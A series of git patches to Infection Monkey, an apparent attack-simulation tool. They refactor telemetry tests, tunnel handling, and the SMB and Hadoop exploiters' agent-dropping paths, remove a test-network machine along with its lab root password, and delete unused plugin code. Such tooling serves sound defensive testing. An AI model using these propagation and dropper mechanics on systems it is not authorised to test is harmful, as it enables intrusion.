from infection_monkey.telemetry.exploit_telem import ExploitTelem -from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( ExploitInterceptingTelemetryMessenger, ) @@ -19,8 +20,10 @@ class TestTelem(BaseTelem): class MockExpliotTelem(ExploitTelem): - def __init__(self): - pass + def __init__(self, propagation_success): + erd = ExploiterResultData() + erd.propagation_success = propagation_success + super().__init__("TestExploiter", VictimHost("127.0.0.1"), erd) def get_data(self): return {} @@ -40,10 +43,10 @@ def test_generic_telemetry(): assert not mock_tunnel.set_wait_for_exploited_machines.called -def test_expliot_telemetry(): +def test_propagation_successful_expliot_telemetry(): mock_telemetry_messenger = MagicMock() mock_tunnel = MagicMock() - mock_expliot_telem = MockExpliotTelem() + mock_expliot_telem = MockExpliotTelem(True) telemetry_messenger = ExploitInterceptingTelemetryMessenger( mock_telemetry_messenger, mock_tunnel @@ -53,3 +56,18 @@ def test_expliot_telemetry(): assert mock_telemetry_messenger.send_telemetry.called assert mock_tunnel.set_wait_for_exploited_machines.called + + +def test_propagation_failed_expliot_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + mock_expliot_telem = MockExpliotTelem(False) + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(mock_expliot_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_tunnel.set_wait_for_exploited_machines.called From ef134be044b45ccd4602053869eb0be10050c3ad Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 11:10:22 -0400 Subject: [PATCH 0865/1110] Agent: Remove default servers from WormConfiguration.command_servers In my 16 months working on this project, the default server included in WormConfiguration.command_servers has never had a Monkey Island running on it. This adds a 30 second delay to each hop in the tunneling test as the agent attempts to contact this bogus IP. Removing it speeds up propagation and also avoids unintended consequences if a user has a different service running on 192.0.2.0:5000. --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/monkey.py | 9 ++------- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0abf6b19c..8e9ffce8f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -85,7 +85,7 @@ class Configuration(object): current_server = "" # Configuration servers to try to connect to, in this order. - command_servers = ["192.0.2.0:5000"] + command_servers = [] keep_tunnel_open_time = 60 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0abd47149..1fb2d4165 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -120,13 +120,8 @@ class InfectionMonkey: @staticmethod def _add_default_server_to_config(default_server: str): if default_server: - if default_server not in WormConfiguration.command_servers: - logger.debug("Added default server: %s" % default_server) - WormConfiguration.command_servers.insert(0, default_server) - else: - logger.debug( - "Default server: %s is already in command servers list" % default_server - ) + logger.debug("Added default server: %s" % default_server) + WormConfiguration.command_servers.insert(0, default_server) def _connect_to_island(self): # Sets island's IP and port for monkey to communicate to From 8aad5b16d5bb45dd8b624bc3e2e6abd67ce56fdc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 12:27:22 -0400 Subject: [PATCH 0866/1110] Agent: Fix tunnel address parsing in _close_tunnel() The current proxy schema specifies that tunnels start with "http://", not "https://". This lead to a bug in the tunnel address parsing which prevented the tunnel from being quit properly. --- monkey/infection_monkey/monkey.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 1fb2d4165..66d881d93 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -297,9 +297,7 @@ class InfectionMonkey: @staticmethod def _close_tunnel(): - tunnel_address = ( - ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] - ) + tunnel_address = ControlClient.proxies.get("https", "").replace("http://", "").split(":")[0] if tunnel_address: logger.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) From b3b5707a455437c348985ea8c59681a972a719fd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 12:51:07 -0400 Subject: [PATCH 0867/1110] Agent: Convert dest_path to str before performing comparison --- monkey/infection_monkey/exploit/smbexec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 109771bd4..2afc74439 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -87,13 +87,13 @@ class SMBExploiter(HostExploiter): return self.exploit_result # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != dest_path.lower(): + if remote_full_path.lower() != str(dest_path).lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, self.current_depth - 1, - dest_path, + str(dest_path), ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { From a92a8af96ba166a32b09ba492139f34de0c542d8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 24 Mar 2022 17:50:42 +0200 Subject: [PATCH 0868/1110] BB: Remove smb-20 machine --- envs/monkey_zoo/docs/fullDocs.md | 37 ------------------------- envs/monkey_zoo/terraform/images.tf | 4 --- envs/monkey_zoo/terraform/monkey_zoo.tf | 15 ---------- 3 files changed, 56 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 71e8c62e2..fa786dee6 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -20,7 +20,6 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 17 Upgrader](#_Toc536021470)
    [Nr. 18 WebLogic](#_Toc526517180)
    [Nr. 19 WebLogic](#_Toc526517181)
    -[Nr. 20 SMB](#_Toc536021473)
    [Nr. 21 Scan](#_Toc526517196)
    [Nr. 22 Scan](#_Toc526517197)
    [Nr. 23 Struts2](#_Toc536021476)
    @@ -709,42 +708,6 @@ Update all requirements using deployment script:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 20 SMB

    -

    (10.2.2.20)

    (Vulnerable)
    OS:Windows 10 x64
    Software:-
    Default service’s port:445
    Root password:YbS,<tpS.2av
    Server’s config:SMB turned on
    Notes:
    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 3a197b720..f74f0b7d9 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -91,10 +91,6 @@ data "google_compute_image" "weblogic-19" { name = "weblogic-19" project = local.monkeyzoo_project } -data "google_compute_image" "smb-20" { - name = "smb-20" - project = local.monkeyzoo_project -} data "google_compute_image" "scan-21" { name = "scan-21" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 0a32f2d05..73ea338b3 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -450,21 +450,6 @@ resource "google_compute_instance_from_template" "weblogic-19" { } } -resource "google_compute_instance_from_template" "smb-20" { - name = "${local.resource_prefix}smb-20" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.smb-20.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.20" - } -} - resource "google_compute_instance_from_template" "scan-21" { name = "${local.resource_prefix}scan-21" source_instance_template = local.default_ubuntu From 35923c1eb1815ab7e8faa9ae47db9b268a62552f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Mar 2022 12:56:59 -0400 Subject: [PATCH 0869/1110] BB: Reduce the timeouts for tunneling tests --- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index 6f726466d..ec876b607 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -17,7 +17,7 @@ class Tunneling(ConfigTemplate): "10.2.0.11", ], "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 30, + "internal.general.keep_tunnel_open_time": 20, "basic.credentials.exploit_password_list": [ "Password1!", "3Q=(Ge(+&w]*", diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 096b8777b..3227694f6 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -51,7 +51,7 @@ from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( ) from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -DEFAULT_TIMEOUT_SECONDS = 5 * 60 +DEFAULT_TIMEOUT_SECONDS = 2 * 60 MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) @@ -215,7 +215,7 @@ class TestMonkeyBlackbox: def test_tunneling(self, island_client): TestMonkeyBlackbox.run_exploitation_test( - island_client, Tunneling, "Tunneling_exploiter", 15 * 60 + island_client, Tunneling, "Tunneling_exploiter", 3 * 60 ) def test_wmi_and_mimikatz_exploiters(self, island_client): From db03ac3dd9a823e23494d0fa24292d2f876ca045 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Mar 2022 09:36:20 +0100 Subject: [PATCH 0870/1110] Agent: Use random binary destination path for Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 60ba4285d..689120f59 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -12,6 +12,7 @@ import string import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( @@ -43,16 +44,16 @@ class HadoopExploiter(WebRCE): return self.exploit_result try: - dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) except KeyError: return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, dropper_target_path, self.agent_repository + self.host, str(monkey_path_on_victim), self.agent_repository ) try: - command = self._build_command(dropper_target_path, http_path) + command = self._build_command(monkey_path_on_victim, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) From 196f814860d4802b2214de5f720805e52a617ccc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 12:54:03 +0530 Subject: [PATCH 0871/1110] Agent: Remove PBA's dependency on Plugin --- monkey/infection_monkey/post_breach/pba.py | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index b9f72697f..1ee4c3cdc 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,31 +1,20 @@ import logging import subprocess -import infection_monkey.post_breach.actions from common.utils.attack_utils import ScanStatus -from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1064_telem import T1064Telem from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.plugins.plugin import Plugin logger = logging.getLogger(__name__) -class PBA(Plugin): +class PBA: """ Post breach action object. Can be extended to support more than command execution on target machine. """ - @staticmethod - def base_package_name(): - return infection_monkey.post_breach.actions.__package__ - - @staticmethod - def base_package_file(): - return infection_monkey.post_breach.actions.__file__ - def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. @@ -35,14 +24,6 @@ class PBA(Plugin): self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - @staticmethod - def should_run(class_name): - """ - Decides if post breach action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in WormConfiguration.post_breach_actions - def run(self): """ Runs post breach action command From dda922d06f9a18e7463f5ea8642e680132b365f3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 13:09:10 +0530 Subject: [PATCH 0872/1110] Agent: Add display_name to PostBreachData --- monkey/infection_monkey/i_puppet/i_puppet.py | 2 +- monkey/infection_monkey/master/automated_master.py | 7 ++----- monkey/infection_monkey/master/mock_master.py | 8 ++++---- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++-- 4 files changed, 9 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index d68e42049..f45048c06 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -34,7 +34,7 @@ class ExploiterResultData: PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) -PostBreachData = namedtuple("PostBreachData", ["command", "result"]) +PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"]) class IPuppet(metaclass=abc.ABCMeta): diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index f6f902a77..251240947 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -195,14 +195,11 @@ class AutomatedMaster(IMaster): logger.debug(f"No credentials were collected by {collector}") def _run_pba(self, pba: Tuple[str, Dict]): - # TODO: This is the class's name right now. We need `display_name` (see the - # ProcessListCollection PBA). This is shown in the Security report as the PBA - # name and is checked against in the T1082's mongo query in the ATT&CK report. name = pba[0] options = pba[1] - command, result = self._puppet.run_pba(name, options) - self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) + display_name, command, result = self._puppet.run_pba(name, options) + self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) def _can_propagate(self) -> bool: return True diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 8542ade12..528f0ec3d 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -50,12 +50,12 @@ class MockMaster(IMaster): logger.info("Running post breach actions") name = "AccountDiscovery" - command, result = self._puppet.run_pba(name, {}) - self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) + display_name, command, result = self._puppet.run_pba(name, {}) + self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) name = "CommunicateAsBackdoorUser" - command, result = self._puppet.run_pba(name, {}) - self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) + display_name, command, result = self._puppet.run_pba(name, {}) + self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) logger.info("Finished running post breach actions") def _scan_victims(self): diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 4ac6f3c2f..0196076ad 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -53,9 +53,9 @@ class MockPuppet(IPuppet): logger.debug(f"run_pba({name}, {options})") if name == "AccountDiscovery": - return PostBreachData("pba command 1", ["pba result 1", True]) + return PostBreachData(name, "pba command 1", ["pba result 1", True]) else: - return PostBreachData("pba command 2", ["pba result 2", False]) + return PostBreachData(name, "pba command 2", ["pba result 2", False]) def ping(self, host: str, timeout: float = 1) -> PingScanData: logger.debug(f"run_ping({host}, {timeout})") From 9c64ee592ffcfd60f2668f40cc8c03050ad76dc9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:32:19 -0400 Subject: [PATCH 0873/1110] Island: Remove disused NodeCreationException --- monkey/monkey_island/cc/services/node.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 6b672bc4d..abf41e715 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -340,7 +340,3 @@ class NodeService: return Monkey.get_label_by_id(endpoint_id) else: return NodeService.get_node_label(NodeService.get_node_by_id(endpoint_id)) - - -class NodeCreationException(Exception): - pass From a1d08abe195fdf240b85a172c7adee654b402b3d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:32:40 -0400 Subject: [PATCH 0874/1110] Project: Rename EXPLOITED_* to PROPAGATED_* These states were renamed in 5e3829aab and 2c8aef6d8 --- vulture_allowlist.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index de610a774..f9d973457 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -31,8 +31,8 @@ pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_tru CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9) CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10) CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11) -EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) -EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) +PROPAGATED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) +PROPAGATED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15) ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16) ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17) From bb854d2daf2a856d23a5cd214d79e844f4f50f84 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:51:23 -0400 Subject: [PATCH 0875/1110] Island: Remove disused GROUPTYPE constant --- monkey/monkey_island/cc/services/groups_and_users_consts.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py index cf4bf8466..a2baf7194 100644 --- a/monkey/monkey_island/cc/services/groups_and_users_consts.py +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -2,4 +2,3 @@ USERTYPE = 1 -GROUPTYPE = 2 From 344530281ab5057489fbaa75bac77a92e582ca1e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:53:11 -0400 Subject: [PATCH 0876/1110] Common: Remove disused function get_value_from_dict() --- monkey/common/utils/code_utils.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index d9ad573b1..bb77f9f61 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,6 +1,5 @@ # abstract, static method decorator # noinspection PyPep8Naming -from typing import List class abstractstatic(staticmethod): @@ -11,10 +10,3 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True - - -def get_value_from_dict(dict_data: dict, path: List[str]): - current_data = dict_data - for key in path: - current_data = current_data[key] - return current_data From f3773ddbaae6cbcbb748a172b09eb8689f9033e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:57:01 -0400 Subject: [PATCH 0877/1110] Agent: Remove disused list_object() function --- .../exploit/tools/wmi_tools.py | 45 ------------------- 1 file changed, 45 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index b6346ba14..64f48a53b 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -3,7 +3,6 @@ import threading from functools import wraps from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL @@ -129,47 +128,3 @@ class WmiTools(object): assert wmi_connection.connected, "WmiConnection isn't connected" return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - logger.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = list(record.keys()) - - query_record = {} - for key in fields: - query_record[key] = record[key]["value"] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query From 43163293843b7aa1945fdc26ae6ab8f99508c620 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 07:57:38 -0400 Subject: [PATCH 0878/1110] Project: Add strict_slashes to vulture_allowlist --- vulture_allowlist.py | 1 + 1 file changed, 1 insertion(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index f9d973457..63094f3ae 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -147,6 +147,7 @@ Report.meta_info Report.meta LDAPServerFactory.buildProtocol get_file_sha256_hash +strict_slashes # unused attribute (monkey/monkey_island/cc/app.py:96) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 703dc315bc0af61de557a84c59691e1537299d58 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Mar 2022 08:34:45 -0400 Subject: [PATCH 0879/1110] Agent: Remove disused Plugin abstract class --- .../utils/plugins/__init__.py | 0 .../infection_monkey/utils/plugins/plugin.py | 91 ------------------- .../utils/plugins/pluginTests/BadImport.py | 7 -- .../utils/plugins/pluginTests/BadInit.py | 6 -- .../utils/plugins/pluginTests/ComboFile.py | 10 -- .../plugins/pluginTests/PluginTestClass.py | 23 ----- .../plugins/pluginTests/PluginWorking.py | 5 - .../utils/plugins/pluginTests/__init__.py | 0 .../utils/plugins/test_plugin.py | 38 -------- 9 files changed, 180 deletions(-) delete mode 100644 monkey/infection_monkey/utils/plugins/__init__.py delete mode 100644 monkey/infection_monkey/utils/plugins/plugin.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py diff --git a/monkey/infection_monkey/utils/plugins/__init__.py b/monkey/infection_monkey/utils/plugins/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py deleted file mode 100644 index 81297d5e8..000000000 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ /dev/null @@ -1,91 +0,0 @@ -import glob -import importlib -import inspect -import logging -from abc import ABCMeta, abstractmethod -from os.path import basename, dirname, isfile, join -from typing import Callable, Sequence, Type, TypeVar - -logger = logging.getLogger(__name__) - - -def _get_candidate_files(base_package_file): - files = glob.glob(join(dirname(base_package_file), "*.py")) - return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith("__init__.py")] - - -PluginType = TypeVar("PluginType", bound="Plugin") - - -class Plugin(metaclass=ABCMeta): - @staticmethod - @abstractmethod - def should_run(class_name: str) -> bool: - raise NotImplementedError() - - @classmethod - def get_classes(cls) -> Sequence[Callable]: - """ - Returns the class objects from base_package_spec - base_package name and file must refer to the same package otherwise bad results - :return: A list of parent_class classes. - """ - objects = [] - candidate_files = _get_candidate_files(cls.base_package_file()) - logger.info( - "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) - ) - # Go through all of files - for file in candidate_files: - # Import module from that file - module = importlib.import_module("." + file, cls.base_package_name()) - # Get all classes in a module - # m[1] because return object is (name,class) - classes = [ - m[1] - for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls)) - ] - # Get object from class - for class_object in classes: - logger.debug("Checking if should run object {}".format(class_object.__name__)) - try: - if class_object.should_run(class_object.__name__): - objects.append(class_object) - logger.debug("Added {} to list".format(class_object.__name__)) - except Exception as e: - logger.warning( - "Exception {} when checking if {} should run".format( - str(e), class_object.__name__ - ) - ) - return objects - - @classmethod - def get_instances(cls) -> Sequence[Type[PluginType]]: - """ - Returns the type objects from base_package_spec. - base_package name and file must refer to the same package otherwise bad results - :return: A list of parent_class objects. - """ - class_objects = cls.get_classes() - instances = [] - for class_object in class_objects: - try: - instance = class_object() - instances.append(instance) - except Exception as e: - logger.warning( - "Exception {} when initializing {}".format(str(e), class_object.__name__) - ) - return instances - - @staticmethod - @abstractmethod - def base_package_file(): - pass - - @staticmethod - @abstractmethod - def base_package_name(): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py deleted file mode 100644 index f0276b19d..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ /dev/null @@ -1,7 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import ( # noqa: F401, E501 - PluginTester, -) - - -class SomeDummyPlugin: - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py deleted file mode 100644 index 821b2d063..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ /dev/null @@ -1,6 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class BadPluginInit(PluginTester): - def __init__(self): - raise Exception("TestException") diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py deleted file mode 100644 index 45f39738a..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ /dev/null @@ -1,10 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class BadInit(PluginTester): - def __init__(self): - raise Exception("TestException") - - -class ProperClass(PluginTester): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py deleted file mode 100644 index 0220e0683..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py +++ /dev/null @@ -1,23 +0,0 @@ -import tests.unit_tests.infection_monkey.utils.plugins.pluginTests - -from infection_monkey.utils.plugins.plugin import Plugin - - -class PluginTester(Plugin): - classes_to_load = [] - - @staticmethod - def should_run(class_name): - """ - Decides if post breach action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in PluginTester.classes_to_load - - @staticmethod - def base_package_file(): - return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__file__ - - @staticmethod - def base_package_name(): - return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__package__ diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py deleted file mode 100644 index bae443c50..000000000 --- a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ /dev/null @@ -1,5 +0,0 @@ -from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester - - -class PluginWorking(PluginTester): - pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py deleted file mode 100644 index e69de29bb..000000000 